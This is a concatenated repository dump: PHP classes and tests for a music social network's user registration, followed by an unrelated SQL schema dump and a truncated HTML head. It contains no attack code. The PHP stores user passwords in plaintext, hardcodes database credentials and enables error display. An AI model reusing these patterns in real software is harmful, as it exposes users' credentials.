{ self::expectException(InvalidArgumentException::class); new Email("victor.com"); } }<file_sep>/src/Shared/ValueObjects/Username/Username.php <?php namespace MusicProject\Shared\ValueObjects\Username; use MusicProject\Shared\ValueObjects\AbstractValueObject; class Username extends AbstractValueObject { protected string $value; public function __construct(string $userName) { $this->validate($userName); $this->value = $userName; } protected function validate($userName) : void { if (strlen(trim($userName)) < 3) { $this->invalidArgument('Username is too short'); } if (preg_match('/[^a-z0-9 _]+/i', $userName)) { $this->invalidArgument('Username contains symbols'); } } }<file_sep>/index.php <?php ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); include_once('./vendor/autoload.php'); use Symfony\Component\Routing\Matcher\UrlMatcher; use Symfony\Component\Routing\RequestContext; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\Routing\Exception\ResourceNotFoundException; use MusicProject\Shared\Infrastructure\Routes\Routes; use Symfony\Component\Routing\Exception\MethodNotAllowedException; use MusicProject\Shared\Infrastructure\Services\InitContainer; try { global $container; $container = (new InitContainer())->get(); $routes = $container->call(Routes::class, []); $context = new RequestContext(); $context->fromRequest(Request::createFromGlobals()); $matcher = new UrlMatcher($routes, $context); $parameters = $matcher->match($context->getPathInfo()); $controller = $container->get($parameters['controller']); if (method_exists($controller, '__invoke')) { $response = $controller->__invoke(); $response->send(); } } catch (ResourceNotFoundException $exception) { echo $exception->getMessage(); } catch (MethodNotAllowedException $exception) { echo 'Método no permitido' . $exception->getMessage(); }<file_sep>/src/Shared/Domain/Entity/EntityData.php <?php namespace MusicProject\Shared\Domain\Entity; class EntityData { private array $data; public function __construct(array $data) { $this->data = $data; } public function getData() : array { return $this->data; } }<file_sep>/tests/Shared/ValueObjects/ID/IDTest.php <?php namespace Tests\Shared\ValueObjects\ID; use PHPUnit\Framework\TestCase; use MusicProject\Shared\ValueObjects\ID\ID; use InvalidArgumentException; class IDTest extends TestCase { /** @test */ public function success() : void { $validIDs = [1, 1000]; foreach ($validIDs as $validID) { self::assertInstanceOf(ID::class, new ID($validID)); } } /** @test */ public function invalidIDZero() : void { self::expectException(InvalidArgumentException::class); new ID(0); } /** @test */ public function invalidIDNegative() : void { self::expectException(InvalidArgumentException::class); new ID(-5); } }<file_sep>/src/Shared/Infrastructure/Routes/LoadRoutes.php <?php namespace MusicProject\Shared\Infrastructure\Routes; class LoadRoutes { public function __invoke() : array { return array_merge( include(__DIR__ . '/../../../Profile/Config/Routes.php') ); } }<file_sep>/src/Profile/User/Infrastructure/MySQLRepositories/UserRepository.php <?php namespace MusicProject\Profile\User\Infrastructure\MySQLRepositories; use MusicProject\Shared\Infrastructure\MySQL\BaseMySQL; use MusicProject\Profile\User\Domain\User; use MusicProject\Profile\User\Domain\UserRepositoryInterface; class UserRepository extends BaseMySQL implements UserRepositoryInterface { private const TABLE = 'users'; public function insert(User $user) : void { $users = $this->builderMySQL->table(self::TABLE); $users->insert( [ [ 'username' => $user->userName()->value(), 'email' => $user->email()->value(), 'password' => $user->password()->value() ] ] )->execute(); } public function deleteByID(int $id) : void { $users = $this->builderMySQL->table(self::TABLE); $users->delete()->where('id', $id)->execute(); } public function getByUsername(string $username) : User { $users = $this->builderMySQL->table(self::TABLE); return $this->buildEntity( $this->getFactory(), $users->select()->where('username', $username)->get() ); } public function getLastInsertID() : int { return $this->connection->lastInsertId(); } public function getFactory() { return self::ENTITY_FACTORY; } }<file_sep>/tests/Shared/ValueObjects/Password/PasswordTest.php <?php namespace Tests\Shared\ValueObjects\Password; use PHPUnit\Framework\TestCase; use MusicProject\Shared\ValueObjects\Password\Password; use InvalidArgumentException; class PasswordTest extends TestCase { /** @test */ public function success() : void { $validPasswords = ['<PASSWORD>', '<PASSWORD>']; foreach ($validPasswords as $validPass) { self::assertInstanceOf(Password::class, new Password($validPass)); } } /** @test */ public function noLongerPass() : void { self::expectException(InvalidArgumentException::class); self::expectExceptionMessage('Password is too short'); new Password('<PASSWORD>'); } /** @test */ public function noNumberPass() : void { self::expectException(InvalidArgumentException::class); self::expectExceptionMessage('Password must have at least 1 number'); new Password('<PASSWORD>'); } /** @test */ public function noCapitalPass() : void { self::expectException(InvalidArgumentException::class); self::expectExceptionMessage('Password must have at least 1 capital letter'); new Password('<PASSWORD>'); } /** @test */ public function noLowerCasePass() : void { self::expectException(InvalidArgumentException::class); self::expectExceptionMessage('Password must have at least 1 lowercase letter'); new Password('<PASSWORD>'); } }<file_sep>/src/Profile/User/Infrastructure/Controllers/LoginUserAction.php <?php namespace MusicProject\Profile\User\Infrastructure\Controllers; class LoginUserAction { //TODO va recibir de js username y password //TODO va a llamar a un application service que se llama LoginUser lo dejas vacio recibe siempre un RequestDTO }<file_sep>/src/Profile/User/Domain/UserData.php <?php namespace MusicProject\Profile\User\Domain; use MusicProject\Shared\Domain\Entity\EntityData; class UserData extends EntityData { }<file_sep>/src/Shared/Infrastructure/Definitions/Definitions.php <?php $projectPath = __DIR__ . '/../../../'; return array_merge( include('CommonDefinitions.php'), include($projectPath . 'Profile/Config/Definitions.php') );<file_sep>/src/Shared/Infrastructure/DTO/ResponseDTO.php <?php namespace MusicProject\Shared\Application; class ResponseDTO extends DTO { }<file_sep>/src/Shared/Infrastructure/Services/InitContainer.php <?php namespace MusicProject\Shared\Infrastructure\Services; use DI\ContainerBuilder; use Psr\Container\ContainerInterface; use DI\Container; class InitContainer { private ContainerInterface $container; public function __construct() { $containerBuilder = new ContainerBuilder(Container::class); $containerBuilder->addDefinitions($this->getDefinitions()); $containerBuilder->useAutowiring(true); $this->container = $containerBuilder->build(); } public function get() : ContainerInterface { return $this->container; } private function getDefinitions() : array { return include(__DIR__ . '/../Definitions/Definitions.php'); } }<file_sep>/tests/Unit/Profile/User/Domain/UserFactoryTest.php <?php namespace Tests\Unit\Profile\User\Domain; use MusicProject\Profile\User\Domain\UserFactory; use MusicProject\Shared\Infrastructure\Services\InitContainer; use PHPUnit\Framework\TestCase; class UserFactoryTest extends TestCase { private const USERNAME = 'test'; private const PASSWORD = '<PASSWORD>@@'; private const EMAIL = '<EMAIL>'; private const ID = 1; /** @test */ public function success() : void { $container = (new InitContainer())->get(); $userFactory = $container->get(UserFactory::class); $user = $userFactory->fromArray([ 'username' => self::USERNAME, 'password' => self::PASSWORD, 'email' => self::EMAIL, 'id' => self::ID ]); self::assertEquals(self::USERNAME, $user->userName()->value()); self::assertEquals(self::PASSWORD, $user->password()->value()); self::assertEquals(self::EMAIL, $user->email()->value()); self::assertEquals(self::ID, $user->id()->value()); } /** @test */ public function invalidFieldForThisEntity() : void { self::expectException(\InvalidArgumentException::class); $container = (new InitContainer())->get(); $userFactory = $container->get(UserFactory::class); $userFactory->fromArray([ 'username' => self::USERNAME, 'contrasena' => self::PASSWORD, 'email' => self::EMAIL, 'id' => self::ID ]); } }<file_sep>/src/Shared/Infrastructure/Definitions/CommonDefinitions.php <?php use Symfony\Component\HttpFoundation\Request; return [ Request::class => Request::createFromGlobals(), ];<file_sep>/src/Shared/Infrastructure/DTO/RequestDTO.php <?php namespace MusicProject\Shared\Application; class RequestDTO extends DTO { }<file_sep>/src/Profile/Config/Definitions.php <?php use MusicProject\Profile\User\Domain\UserRepositoryInterface; use MusicProject\Profile\User\Infrastructure\MySQLRepositories\UserRepository; use function DI\autowire; return [ UserRepositoryInterface::class => autowire(UserRepository::class) ];<file_sep>/src/Profile/Config/Routes.php <?php namespace MusicProject\Profile\User\Config; use MusicProject\Profile\User\Infrastructure\Controllers\LoginUserAction; use MusicProject\Profile\User\Infrastructure\Controllers\RegisterUserAction; use MusicProject\Shared\Infrastructure\Routes\CreateRoute; return [ 'userRegister' => [ 'name' => 'user-register', 'route' => (new CreateRoute())->__invoke('/user/register', RegisterUserAction::class, ['POST']) ], 'userLogin' => [ 'name' => 'user-login', 'route' => (new CreateRoute())->__invoke('/user/login', LoginUserAction::class, ['GET']) ] ];<file_sep>/src/Shared/Infrastructure/Routes/Routes.php <?php namespace MusicProject\Shared\Infrastructure\Routes; use Symfony\Component\Routing\RouteCollection; class Routes { private LoadRoutes $loadRoutes; private RouteCollection $routes; public function __construct( LoadRoutes $loadRoutes ) { $this->loadRoutes = $loadRoutes; $this->routes = new RouteCollection(); } public function __invoke() : RouteCollection { $loadRoutes = $this->loadRoutes->__invoke(); return $this->addRoutes($loadRoutes); } private function addRoutes(array $routes) : RouteCollection { foreach ($routes as $route) { $this->routes->add($route['name'], $route['route']); } return $this->routes; } }<file_sep>/src/Profile/User/Domain/UserFactory.php <?php namespace MusicProject\Profile\User\Domain; use MusicProject\Shared\Domain\Entity\EntityFactoryBase; use MusicProject\Shared\Domain\Entity\EntityFactoryInterface; use MusicProject\Shared\ValueObjects\Username\Username; class UserFactory extends EntityFactoryBase implements EntityFactoryInterface { public function fromArray(array $data) : User { return new User( new Username($data['username']), new UserData($this->buildFieldsNoOptional($data)) ); } protected function getSchemaPath(): string { return __DIR__ . '/schema.json'; } protected function getKeysPath(): string { return __DIR__ . '/keys.json'; } }<file_sep>/src/Shared/ValueObjects/Password/Password.php <?php namespace MusicProject\Shared\ValueObjects\Password; use MusicProject\Shared\ValueObjects\AbstractValueObject; class Password extends AbstractValueObject { protected string $value; public function __construct(string $password) { $this->validate($password); $this->value = $password; } protected function validate($password) : void { if(strlen(trim($password)) < 8){ $this->invalidArgument('Password is too short'); } if(!preg_match("#[0-9]+#", $password)){ $this->invalidArgument('Password must have at least 1 number'); } if(!preg_match("#[A-Z]+#", $password)){ $this->invalidArgument('Password must have at least 1 capital letter'); } if(!preg_match("#[a-z]+#", $password)){ $this->invalidArgument('Password must have at least 1 lowercase letter'); } } }<file_sep>/src/Shared/ValueObjects/Email/Email.php <?php namespace MusicProject\Shared\ValueObjects\Email; use \MusicProject\Shared\ValueObjects\AbstractValueObject; class Email extends AbstractValueObject { protected string $value; public function __construct(string $email) { $this->validate($email); $this->value = $email; } protected function validate($email): void { if(!filter_var($email, FILTER_VALIDATE_EMAIL)){ $this->invalidArgument("EmailTest is not valid."); } } }<file_sep>/src/Shared/Infrastructure/Routes/CreateRoute.php <?php namespace MusicProject\Shared\Infrastructure\Routes; use Symfony\Component\Routing\Route; class CreateRoute { public function __invoke(string $path, string $className, array $method) : Route { $userRegisterRoute = new Route( $path, array('controller' => $className) ); $userRegisterRoute->setMethods($method); return $userRegisterRoute; } }<file_sep>/src/Shared/Domain/Entity/EntityFactoryInterface.php <?php namespace MusicProject\Shared\Domain\Entity; interface EntityFactoryInterface { public function fromArray(array $data); }<file_sep>/tests/src/Profile/User/Infrastructure/Controllers/RegisterUserActionTest.php <?php namespace Tests\src\Profile\User\Infrastructure\Controllers; use PHPUnit\Framework\TestCase; //TODO mover a characterization class RegisterUserActionTest extends TestCase { }<file_sep>/src/Shared/Infrastructure/MySQL/BaseMySQL.php <?php namespace MusicProject\Shared\Infrastructure\MySQL; use MusicProject\Shared\Domain\Entity\EntityBase; use PDO; use PDOException; use ClanCats\Hydrahon\Builder; use ClanCats\Hydrahon\Query\Sql\FetchableInterface; use Psr\Container\ContainerInterface; abstract class BaseMySQL { private const HOST = 'localhost'; private const DATABASE = 'MusicSocialNetWork'; private const USERNAME = 'victor'; private const PASSWORD = <PASSWORD>}'; private ContainerInterface $container; protected PDO $connection; protected Builder $builderMySQL; public function __construct( ContainerInterface $container ) { $this->container = $container; $this->getConnection(); } private function getConnection() { try { $this->connection = new PDO( sprintf('mysql:host=%s;dbname=%s', self::HOST, self::DATABASE), self::USERNAME, self::PASSWORD ); $this->builderMySQL = new Builder( 'mysql', function($query, $queryString, $queryParameters) { $statement = $this->connection->prepare($queryString); $statement->execute($queryParameters); if ($query instanceof FetchableInterface) { return $statement->fetchAll(PDO::FETCH_ASSOC); } } ); } catch(PDOException $ex){ die(json_encode(array('outcome' => false, 'message' => 'Unable to connect'))); } } protected function buildEntity(string $factoryClass, array $result) : EntityBase { $factory = $this->container->get($factoryClass); return $factory->fromArray($result[0]); } }<file_sep>/tests/src/Profile/User/Domain/Services/RegisterUserTest.php <?php namespace Tests\src\Profile\User\Domain\Services; use MusicProject\Profile\User\Domain\Services\RegisterUser; use MusicProject\Profile\User\Domain\User; use MusicProject\Shared\Infrastructure\Services\InitContainer; use MusicProject\Shared\ValueObjects\Email\Email; use MusicProject\Shared\ValueObjects\Password\Password; use MusicProject\Shared\ValueObjects\Username\Username; use PHPUnit\Framework\TestCase; class RegisterUserTest extends TestCase { /** @test */ public function success() { $container = (new InitContainer())->get(); $registerUser = $container->get(RegisterUser::class); $registerUser->__invoke(new User( new Username('victor'), new Password('<PASSWORD>'), new Email('<EMAIL>') )); } }<file_sep>/src/Profile/User/Domain/User.php <?php namespace MusicProject\Profile\User\Domain; use MusicProject\Shared\Domain\Entity\EntityBase; use MusicProject\Shared\ValueObjects\Email\Email; use MusicProject\Shared\ValueObjects\ID\ID; use MusicProject\Shared\ValueObjects\Password\Password; use MusicProject\Shared\ValueObjects\Username\Username; class User extends EntityBase { protected ID $id; protected Username $username; protected Password $password; protected Email $email; public function __construct(Username $username, UserData $userData) { $this->username = $username; $this->setOptionalFields($userData); } public function id() : ID { return $this->id; } public function userName() : Username { return $this->username; } public function password() : Password { return $this->password; } public function email() : Email { return $this->email; } } <file_sep>/src/Shared/Domain/Entity/EntityBuilder.php <?php namespace MusicProject\Shared\Domain\Entity; use Psr\Container\ContainerInterface; class EntityBuilder { private ContainerInterface $container; public function __construct(ContainerInterface $container) { $this->container = $container; } public function __invoke(string $factory, array $data) : EntityBase { $factory = $this->container->get($factory); return $factory->fromArray($data); } }<file_sep>/src/Profile/User/Domain/Services/RegisterUser.php <?php namespace MusicProject\Profile\User\Domain\Services; use MusicProject\Profile\User\Domain\User; use MusicProject\Profile\User\Domain\UserRepositoryInterface; class RegisterUser { private UserRepositoryInterface $userRepository; public function __construct(UserRepositoryInterface $userRepository) { $this->userRepository = $userRepository; } //siempre funciona con value objects o entidades (ej User) public function __invoke(User $user) : void { $this->userRepository->insert($user); } }<file_sep>/tests/Infrastructure/Profile/User/Infrastructure/MySQLRepositories/UserRepositoryTest.php <?php namespace Tests\Infrastructure\Profile\User\Infrastructure\MySQLRepositories; use DI\Container; use MusicProject\Profile\User\Domain\UserFactory; use MusicProject\Profile\User\Infrastructure\MySQLRepositories\UserRepository; use PHPUnit\Framework\TestCase; class UserRepositoryTest extends TestCase { private const USERNAME = 'Victor'; private const PASSWORD = '<PASSWORD>'; private const EMAIL = '<EMAIL>'; private UserRepository $userRepository; private UserFactory $userFactory; private int $lastInsertID; public function setUp() { $this->userRepository = (new Container())->get(UserRepository::class); $this->userFactory = (new Container())->get(UserFactory::class); } public function tearDown() { $this->userRepository->deleteByID($this->lastInsertID); } /** @test */ public function register() : void { $this->userRepository->insert( $this->userFactory->fromArray([ 'username' => self::USERNAME, 'password' => self::PASSWORD, 'email' => self::EMAIL ]) ); $this->lastInsertID = $this->userRepository->getLastInsertID(); $user = $this->userRepository->getByUsername(self::USERNAME); self::assertIsInt($this->lastInsertID); } /** @test */ public function getByUsername() : void { $this->userRepository->insert( $this->userFactory->fromArray([ 'username' => self::USERNAME, 'password' => self::PASSWORD, 'email' => self::EMAIL ]) ); $this->lastInsertID = $this->userRepository->getLastInsertID(); $user = $this->userRepository->getByUsername(self::USERNAME); self::assertEquals(self::USERNAME, $user->userName()->value()); self::assertEquals(self::PASSWORD, $user->password()->value()); self::assertEquals(self::EMAIL, $user->email()->value()); } }<file_sep>/src/Shared/ValueObjects/ID/ID.php <?php namespace MusicProject\Shared\ValueObjects\ID; use MusicProject\Shared\ValueObjects\AbstractValueObject; //Validar que sea un numero entero y mayor que 0 class ID extends AbstractValueObject { protected int $value; public function __construct(int $id) { $this->validate($id); $this->value = $id; } protected function validate($id): void { if ($id < 1){ $this->invalidArgument('ID must be a number, greater than 0'); } } }<file_sep>/tests/Shared/ValueObjects/Username/UsernameTest.php <?php namespace Tests\Shared\ValueObjects\Username; use PHPUnit\Framework\TestCase; use \MusicProject\Shared\ValueObjects\Username\Username; use InvalidArgumentException; class UsernameTest extends TestCase { /** @test */ public function success() : void { $validUsernames = ['Victoraso3', '01999284']; foreach ($validUsernames as $validUsername) { self::assertInstanceOf(Username::class, new Username($validUsername)); } } /** @test */ public function noLongerUsername() : void { self::expectException(InvalidArgumentException::class); self::expectExceptionMessage('Username is too short'); new Username('Vc'); } /** @test */ public function symbolsUsername() : void { self::expectException(InvalidArgumentException::class); self::expectExceptionMessage('Username contains symbols'); new Username('Victor$/'); } }<file_sep>/src/Shared/Domain/Entity/EntityFactoryBase.php <?php namespace MusicProject\Shared\Domain\Entity; use \InvalidArgumentException; abstract class EntityFactoryBase { public function buildFieldsNoOptional(array $data) : array { $schema = $this->getSchema(); $keys = $this->getKeys(); $entityData = array(); foreach ($data as $propertyName => $value) { if (! isset($schema[$propertyName])) { $this->someFieldIsNotAllowedForThisEntity($propertyName, $value); } if (! in_array($propertyName, $keys, true)) { $entityData[$propertyName] = new $schema[$propertyName]($value); } } return $entityData; } private function someFieldIsNotAllowedForThisEntity(string $propertyName, $value) : void { throw new InvalidArgumentException( sprintf( 'This %s with this value: %s is not allowed for this entity', $propertyName, $value ) ); } protected function getSchema() : array { return json_decode( file_get_contents($this->getSchemaPath()), true, 512, JSON_THROW_ON_ERROR ); } protected function getKeys() : array { return json_decode( file_get_contents($this->getKeysPath()), true, 512, JSON_THROW_ON_ERROR ); } abstract protected function getSchemaPath() : string; abstract protected function getKeysPath() : string; }<file_sep>/src/Profile/User/Application/RegisterUser.php <?php namespace MusicProject\Profile\User\Application; use MusicProject\Profile\User\Domain\Services\RegisterUser as RegisterUserDomainService; use MusicProject\Profile\User\Domain\UserFactory; class RegisterUser { private RegisterUserDomainService $registerUser; private UserFactory $userFactory; public function __construct( RegisterUserDomainService $registerUser, UserFactory $userFactory ) { $this->registerUser = $registerUser; $this->userFactory = $userFactory; } //recibe los valores primitivos del controlador, crea los value objects y la entidad (ej: User) //TODO como parametro de entrada de __invoke va a recibir un object RequestDTO public function __invoke(array $request) : void { $user = $this->userFactory->fromArray($request); $this->registerUser->__invoke($user); } }<file_sep>/src/Shared/Infrastructure/DTO/DTO.php <?php namespace MusicProject\Shared\Application; class DTO { private array $object; public function __construct(array $object) { $this->object = $object; } public function getProperty(string $property) { return $this->object->$property; } public function getData() : array { return $this->object; } }<file_sep>/src/Shared/Domain/Entity/EntityBase.php <?php namespace MusicProject\Shared\Domain\Entity; abstract class EntityBase { protected function setOptionalFields(EntityData $entityData) { foreach ($entityData->getData() as $property => $value) { $this->$property = $value; } } }<file_sep>/src/Shared/ValueObjects/AbstractValueObject.php <?php namespace MusicProject\Shared\ValueObjects; use InvalidArgumentException; abstract class AbstractValueObject { public function value() { return $this->value; } abstract protected function validate($value) : void; public function invalidArgument(string $message) : void { throw new InvalidArgumentException($message); } }<file_sep>/src/Profile/User/Domain/UserRepositoryInterface.php <?php namespace MusicProject\Profile\User\Domain; interface UserRepositoryInterface { public const ENTITY_FACTORY = UserFactory::class; public function insert(User $user) : void; public function deleteByID(int $id) : void; public function getByUsername(string $username) : User; }<file_sep>/src/Profile/User/Infrastructure/Controllers/RegisterUserAction.php <?php namespace MusicProject\Profile\User\Infrastructure\Controllers; use MusicProject\Profile\User\Application\RegisterUser; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Request; class RegisterUserAction { private Request $request; private RegisterUser $registerUser; public function __construct( Request $request, RegisterUser $registerUser ) { $this->request = $request; $this->registerUser = $registerUser; } // recibe la petición del javascript y devuelve la respuesta // trabaja con valores primitivos (int, string, array etc etc) public function __invoke() : Response { try { $this->registerUser->__invoke([ 'password' => $<PASSWORD>->get('password'), 'email' => $this->request->request->get('email'), 'username' => $this->request->request->get('username') ]); return new Response(); } catch (\InvalidArgumentException $exception) { return new Response( json_encode(["success" => 0, 'message' => $exception->getMessage()]), Response::HTTP_BAD_REQUEST ); } } }
7a33893a81b40bd58ac32cc4ea632ac42a6ac28b
[ "JavaScript", "PHP" ]
41
JavaScript
ime04/music-social-network
b5de6252ece27f5aa9d4e3adc119cd5ae564a99f
23cd3247d39480067e4706456bbda8e0ffb834c7
refs/heads/master
<repo_name>tranlinh2610/contribution_application<file_sep>/contribution_appication.sql -- phpMyAdmin SQL Dump -- version 5.0.2 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Mar 05, 2021 at 02:44 AM -- Server version: 10.4.14-MariaDB -- PHP Version: 7.4.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `contribution_appication` -- -- -------------------------------------------------------- -- -- Table structure for table `faculty` -- CREATE TABLE `faculty` ( `f_id` int(20) NOT NULL, `f_name` varchar(125) NOT NULL, `f_description` text NOT NULL, `f_contact` varchar(255) NOT NULL, `faculty_id` int(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -------------------------------------------------------- -- -- Table structure for table `file_categories` -- CREATE TABLE `file_categories` ( `ctg_id` int(20) NOT NULL, `ctg_name` varchar(255) NOT NULL, `ctg_description` text NOT NULL, `ctg_deadline` varchar(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -------------------------------------------------------- -- -- Table structure for table `file_submit` -- CREATE TABLE `file_submit` ( `file_id` int(11) NOT NULL, `file_content_upload` varchar(555) NOT NULL, `file_date_uploaded` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `file_submit` -- INSERT INTO `file_submit` (`file_id`, `file_content_upload`, `file_date_uploaded`) VALUES (4, './image/6e9b94ff974eb0caea9788a7aaa976d897485493_2490671654577425_8179314827781472256_n.png', 1614889476); -- -------------------------------------------------------- -- -- Table structure for table `file_submit_to_system` -- CREATE TABLE `file_submit_to_system` ( `file_id` int(20) NOT NULL, `file_categories_id` int(20) NOT NULL, `file_name` varchar(255) NOT NULL, `file_description` text NOT NULL, `file_faculty_id` int(20) NOT NULL, `file_semester_id` int(20) NOT NULL, `status` varchar(20) NOT NULL, `comment` text NOT NULL, `file_date_uploaded` datetime NOT NULL, `file_date_edited` datetime NOT NULL, `file_content_upload` text NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -------------------------------------------------------- -- -- Table structure for table `news` -- CREATE TABLE `news` ( `news_id` int(20) NOT NULL, `news_content_short` varchar(255) NOT NULL, `news_content` text NOT NULL, `news_image` varchar(255) NOT NULL, `news_date_create_time` datetime NOT NULL, `news_title` varchar(125) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -------------------------------------------------------- -- -- Table structure for table `notification` -- CREATE TABLE `notification` ( `n_id` int(20) NOT NULL, `n_faculty_id` int(20) NOT NULL, `notification` text NOT NULL, `n_date_time` datetime NOT NULL, `n_status` int(11) NOT NULL, `n_user_id` int(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -------------------------------------------------------- -- -- Table structure for table `role` -- CREATE TABLE `role` ( `role_id` int(20) NOT NULL, `role_name` varchar(15) NOT NULL, `role_full_name` varchar(15) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -------------------------------------------------------- -- -- Table structure for table `semester` -- CREATE TABLE `semester` ( `semester_id` int(20) NOT NULL, `semester` varchar(125) NOT NULL, `schoolyear` varchar(125) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -------------------------------------------------------- -- -- Table structure for table `user` -- CREATE TABLE `user` ( `u_id` int(20) NOT NULL, `username` varchar(50) NOT NULL, `password` varchar(125) NOT NULL, `email` varchar(50) NOT NULL, `status` int(10) NOT NULL, `u_create_time` date NOT NULL, `fullname` varchar(125) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `user` -- INSERT INTO `user` (`u_id`, `username`, `password`, `email`, `status`, `u_create_time`, `fullname`) VALUES (1, '', '', '<EMAIL>', 1, '0000-00-00', '<NAME>'), (2, '', '', '<EMAIL>', 1, '0000-00-00', 'My Linh'); -- -------------------------------------------------------- -- -- Table structure for table `user_role` -- CREATE TABLE `user_role` ( `user_role_Id` int(20) NOT NULL, `user_id` int(20) NOT NULL, `role_id` int(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Indexes for dumped tables -- -- -- Indexes for table `faculty` -- ALTER TABLE `faculty` ADD PRIMARY KEY (`f_id`); -- -- Indexes for table `file_categories` -- ALTER TABLE `file_categories` ADD PRIMARY KEY (`ctg_id`); -- -- Indexes for table `file_submit` -- ALTER TABLE `file_submit` ADD PRIMARY KEY (`file_id`); -- -- Indexes for table `file_submit_to_system` -- ALTER TABLE `file_submit_to_system` ADD PRIMARY KEY (`file_id`), ADD KEY `fogeign_key_file_semester` (`file_semester_id`), ADD KEY `file_submit_to_system_ibfk_1` (`file_categories_id`), ADD KEY `fogeign_key_file_faculty` (`file_faculty_id`); -- -- Indexes for table `news` -- ALTER TABLE `news` ADD PRIMARY KEY (`news_id`); -- -- Indexes for table `notification` -- ALTER TABLE `notification` ADD PRIMARY KEY (`n_id`), ADD KEY `fogeign_key_notification_faculty` (`n_faculty_id`), ADD KEY `fogeign_key_notification_user` (`n_user_id`); -- -- Indexes for table `role` -- ALTER TABLE `role` ADD PRIMARY KEY (`role_id`,`role_name`); -- -- Indexes for table `semester` -- ALTER TABLE `semester` ADD PRIMARY KEY (`semester_id`); -- -- Indexes for table `user` -- ALTER TABLE `user` ADD PRIMARY KEY (`u_id`); -- -- Indexes for table `user_role` -- ALTER TABLE `user_role` ADD PRIMARY KEY (`user_role_Id`), ADD KEY `fogeign_key_userRole_role` (`role_id`), ADD KEY `fogeign_key_userRole_user` (`user_id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `file_submit` -- ALTER TABLE `file_submit` MODIFY `file_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; -- -- AUTO_INCREMENT for table `file_submit_to_system` -- ALTER TABLE `file_submit_to_system` MODIFY `file_id` int(20) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- AUTO_INCREMENT for table `news` -- ALTER TABLE `news` MODIFY `news_id` int(20) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `notification` -- ALTER TABLE `notification` MODIFY `n_id` int(20) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `user` -- ALTER TABLE `user` MODIFY `u_id` int(20) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; -- -- AUTO_INCREMENT for table `user_role` -- ALTER TABLE `user_role` MODIFY `user_role_Id` int(20) NOT NULL AUTO_INCREMENT; -- -- Constraints for dumped tables -- -- -- Constraints for table `file_submit_to_system` -- ALTER TABLE `file_submit_to_system` ADD CONSTRAINT `file_submit_to_system_ibfk_1` FOREIGN KEY (`file_categories_id`) REFERENCES `file_categories` (`ctg_id`) ON DELETE CASCADE ON UPDATE CASCADE, ADD CONSTRAINT `fogeign_key_file_faculty` FOREIGN KEY (`file_faculty_id`) REFERENCES `faculty` (`f_id`) ON DELETE CASCADE ON UPDATE CASCADE, ADD CONSTRAINT `fogeign_key_file_semester` FOREIGN KEY (`file_semester_id`) REFERENCES `semester` (`semester_id`) ON DELETE CASCADE ON UPDATE CASCADE; -- -- Constraints for table `notification` -- ALTER TABLE `notification` ADD CONSTRAINT `fogeign_key_notification_faculty` FOREIGN KEY (`n_faculty_id`) REFERENCES `faculty` (`f_id`) ON DELETE CASCADE ON UPDATE CASCADE, ADD CONSTRAINT `fogeign_key_notification_user` FOREIGN KEY (`n_user_id`) REFERENCES `user_role` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE; -- -- Constraints for table `user_role` -- ALTER TABLE `user_role` ADD CONSTRAINT `fogeign_key_userRole_role` FOREIGN KEY (`role_id`) REFERENCES `role` (`role_id`) ON DELETE CASCADE ON UPDATE CASCADE, ADD CONSTRAINT `fogeign_key_userRole_user` FOREIGN KEY (`user_id`) REFERENCES `user` (`u_id`) ON DELETE CASCADE ON UPDATE CASCADE; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/user/manage-coordinator/add-topic.php <!DOCTYPE html> <html lang="en"> <meta charset="UTF-8"> <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0" name="viewport"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-touch-fullscreen" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="default"> <meta content="" name="author" /> <meta content="atlas is Bootstrap 4 based admin panel.It comes with 100's widgets,charts and icons" name="description" /> <meta property="og:locale" content="en_US" /> <meta property="og:type" content="website" /> <meta property="og:title" content="atlas is Bootstrap 4 based admin panel.It comes with 100's widgets,charts and icons" /> <meta property="og:description" content="atlas is Bootstrap 4 based admin panel.It comes with 100's widgets,charts and icons" /> <meta property="og:image" content="https://cdn.dribbble.com/users/180706/screenshots/5424805/the_sceens_-_mobile_perspective_mockup_3_-_by_tranmautritam.jpg" /> <meta property="og:site_name" content="atlas " /> <title>Home Page</title> <link rel="icon" type="image/x-icon" href="assets/img/logo.png" /> <link 